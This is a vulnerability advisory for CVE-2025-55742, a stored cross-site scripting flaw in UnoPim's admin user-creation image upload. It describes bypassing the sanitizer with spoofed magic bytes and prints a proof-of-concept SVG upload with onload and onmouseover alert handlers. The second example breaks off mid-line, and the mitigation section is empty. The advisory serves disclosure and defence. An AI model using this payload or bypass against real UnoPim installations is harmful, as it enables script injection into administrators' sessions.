UnoPim has Stored Cross-site Scripting vulnerability in user creation functionality
Date: 2025-08
Affected: composer/unopim/unopim
Attack vector: xss
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2025-55742
CWE: CWE-79
CVSS: 6.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H)

### Summary Affected Functionality: User creation Endpoint: `/admin/settings/users/create` ### Details https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file. File containing <svg> is considered as svg and is sanitized: ![image](https://github.com/user-attachments/assets/bcb0ce04-6bbe-4058-81da-927331247d3d) ``` Content-Disposition: form-data; name="image[]"; filename="poc.html" Content-Type: image/svg+xml <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)"> <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect> <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text> </svg> ``` ![image](https://github.com/user-attachments/assets/47d33392-632e-442b-8e51-5ba5189385ca) Sanitization bypass using MIME type manipulation: ![image](https://github.com/user-attachments/assets/c4fa13a6-3c3a-4530-8d4e-68c203848a86) ``` Content-Disposition: form-data; name="image[]"; filename="poc.html" C


Mitigations:

Architectural layers (MAESTRO):